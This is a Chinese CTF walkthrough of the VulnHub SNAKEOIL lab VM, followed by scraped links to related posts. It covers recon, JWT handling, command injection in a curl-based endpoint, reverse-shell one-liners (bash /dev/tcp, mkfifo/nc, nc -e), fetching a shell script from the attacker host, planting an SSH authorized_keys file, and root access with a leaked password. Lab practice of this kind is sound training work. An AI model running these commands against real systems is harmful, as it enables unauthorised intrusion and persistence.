vulnhub靶场之DIGITALWORLD.LOCAL: SNAKEOIL
准备:
攻击机:虚拟机kali、本机win10。
靶机:DIGITALWORLD.LOCAL: SNAKEOIL,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhub.com/digitalworld/SNAKEOIL.7z,下载后直接vbox打开即可。
知识点:命令执行、私匙制作和登录(ssh-keygen)、bp的使用。

信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.16.110.0/24,获得靶机地址:192.168.110.180。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.180,显示开放了22、80、8080端口,开启了ssh、http服务。

访问下80和8080端口,在8080端口的Useful Links下发现了一个网站:https://flask-jwt-extended.readthedocs.io/en/stable/options/,主要和flask-jw的配置有关。

使用dirsearch对8080端口进行目录扫描(80未发现有用信息),命令:python dirsearch.py -u http://192.168.110.180:8080 -e * -w D:\soft\seep\dirsearch\db\dicc.txt,发现/users、/test、/secret等目录信息。

对扫描出来的目录进行访问测试,发现在访问:http://192.168.110.180:8080/users时返回了users的账户和密码信息,访问:http://192.168.110.180:8080/registration时显示方法错误,那就使用bp抓包修改下请求方式。


BP修改数据包:
访问:http://192.168.110.180:8080/registration使用bp进行抓包并修改请求方式,进行模拟提交查看返回的数据,返回:Username field cannot be blank。

那就添加用户名信息:username=upfine,但是告诉我们password也不能是空,那就写入密码进行注入,最后注册成功:upfine/123。


使用注册的账户名和密码:upfine/123进行登录,访问:http://192.168.110.180:8080/login,返回信息:The method is not allowed for the requested URL,那就修改下请求方法为post,成功获得access_token和refresh_token。

{"message": "Logged in as upfine",
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2OTAzMzAzNywianRpIjoiOGMwYzgxMTEtMTc3YS00YjgwLTk4NDItOWQxMGEyNDAwMGRiIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6InVwZmluZSIsIm5iZiI6MTY2OTAzMzAzNywiZXhwIjoxNjY5MDMzOTM3fQ.923Y782zfLKCZIjy7LB_MVP0gJNFZHCf5eTgW6eRrNc",
"refresh_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY2OTAzMzAzNywianRpIjoiNzlkOTRkYTUtNGJmMS00YzA2LThjNjktMGU5ODVjYTIxNzEzIiwidHlwZSI6InJlZnJlc2giLCJzdWIiOiJ1cGZpbmUiLCJuYmYiOjE2NjkwMzMwMzcsImV4cCI6MTY2OTAzNjYzN30.kljPY4fWlHEZ-h31kvQabGmkTnBljOTo47dvbLUiLzw"}
访问:http://192.168.110.180:8080/run,返回信息告诉我们需要输入参数url,输入url之后进行请求,返回信息告诉我么需要提交secret_key。输入参数注意其输入格式,可以看出和json格式类似。


访问/serect返回:Internal Server Error,在开始发现的jwt配置网站:https://flask-jwt-extended.readthedocs.io/en/stable/options/,查找关于登陆成功时返回的access_token的信息,找到携带身份认证信息的键值名称:access_token_cookie,输入cookie信息,成功获取到secret_key:commandexecutionissecret。

利用获取到的secret_key:commandexecutionissecret,返回到http://192.168.110.180:8080/run的数据包并输入secret_key:commandexecutionissecret进行请求访问,返回信息疑似命令执行的结果,输入;查看下进行命令执行的命令,发现是curl命令。


查看下curl的命令使用方法,发现curl -V时会返回版本信息并且退出curl命令,这时候我们利用&&来执行我们要执行的命令,如:id、ls。


获取shell:
通过三种shell反弹方式进行反弹,均是反弹失败,返回:Banned command。
bash -c 'bash -i >& /dev/tcp/192.168.110.180/6688 0>&1'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.110.180 6688 >/tmp/f
nc -e /bin/bash 192.168.110.180 6688

在kali中开启一个简易的web服务:python3 -m http.server 8000,编写一个shell反弹脚本上传到靶机中,命令:-V&&wget http://192.168.110.178:8000/shell.sh -o shell.sh;,kali端开启对6688端口的监听:nc -lvvp 6688,然后对靶机中的shell.sh脚本赋予执行权限:chmod +x shell.sh,然后执行,失败无法反弹shell。


制作ssh私匙登录:
使用ssh-keygen制作私匙文件并将文件复制到python开启的http服务中,然后修改文件名字为:authorized_keys。


通过命令执行漏洞上传私匙文件,命令:http://192.168.110.178:8800/authorized_keys -O 127.0.0.1;。

在靶机上查看authorized_keys 以确认是否上传成功(命令:-V&&ls -l;),然后并将该文件移动到/home/patrick/.ssh/目录下,命令:-V&&mv authorized_keys /home/patrick/.ssh/;,然后查看.ssh目录是否存在该文件。


使用ssh登录成功获得shell权限,命令:ssh patrick@192.168.110.180 -i ~/.ssh/upfine,这里的密码是制作私匙时输入的密码。

在本地目录下发现local.txt文件并进行访问,成功获取到第一个flag信息。

提权:
查看下当前账户是否存在可以使用的特权命令,sudo -l,显示只有shutdown才可以不需要root命令执行。

最后一番查找在flask_blog目录下的app.py文件中发现了隐藏的密码:NOreasonableDOUBTthisPASSWORDisGOOD。

使用发现的密码切换成root账户:sudo su,在/root文件夹下发现proof.txt文件并读取flag信息。

vulnhub靶场之DIGITALWORLD.LOCAL: SNAKEOIL的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- KingbaseES R6 集群repmgr.conf参数'recovery'测试案例(二)
案例二:测试'recovery = automatic' 1.查看集群节点状态信息: [kingbase@node1 bin]$ ./repmgr cluster show ID | Name | R ...
- Centos7 安装部署Kubernetes(k8s)集群
目录 一.系统环境 二.前言 三.Kubernetes 3.1 概述 3.2 Kubernetes 组件 3.2.1 控制平面组件 3.2.2 Node组件 四.安装部署Kubernetes集群 4. ...
- 累加和为 K 的最长子数组问题
累加和为 K 的最长子数组问题 作者:Grey 原文地址: 博客园:累加和为 K 的最长子数组问题 CSDN:累加和为 K 的最长子数组问题 题目描述 给定一个整数组成的无序数组 arr,值可能正.可 ...
- .NET 反向代理-YARP 部署Https(SSL)
YARP 作为反向代理中间件,那就无可避免需要使用到 Https 去部署项目,那 YARP 要怎么去实现呢,本来以为 YARP 会有一套自己的实现,在翻阅了资料后发现,根本不是我想的那样,按照 YAR ...
- Elasticsearch:Smart Chinese Analysis plugin
Smart Chinese Analysis插件将Lucene的Smart Chinese分析模块集成到Elasticsearch中,用于分析中文或中英文混合文本. 支持的分析器在大型训练语料库上使用 ...
- 中国数字化是怎么转型成新范式TOP 50的?
我不大认可"中国数字化转型成新范式TOP 50"的,确切的说,照着"中国数字化转型新范式TOP 50"做转型,大概率失败,对中国企业数字化转型的帮助甚微 ,尤其 ...
- 洛谷P3870 [TJOI2009] 开关 (线段树)
简单的省选题...... 打异或标记即可. 1 #include<bits/stdc++.h> 2 const int N=2e5+10; 3 using namespace std; 4 ...
- 可观测性的常见用例|Techtarget
[ 文章来源 ]https://www.techtarget.com/searchitoperations/tip/Common-use-cases-for-observability 这些可观测性用 ...
- capability参数配置
前言 本文为在霍格沃兹测试开发学社的学习经历分享 简介 功能:配置 Appium 会话,告诉 Appium 服务器需要自动化的平台的应用程序 形式:键值对的集合,键对应设置的名称,值对应设置的值 主要 ...
- 14.MongoDB系列之配置分片
1. 启动服务器 1.1 启动配置服务器 配置服务器是集群的大脑,保存着关于每个服务器包含哪些数据的所有元数据,因此,必须首先创建配置服务器. 由于资源限制,在同一机器上启动三个进程 # mkdir ...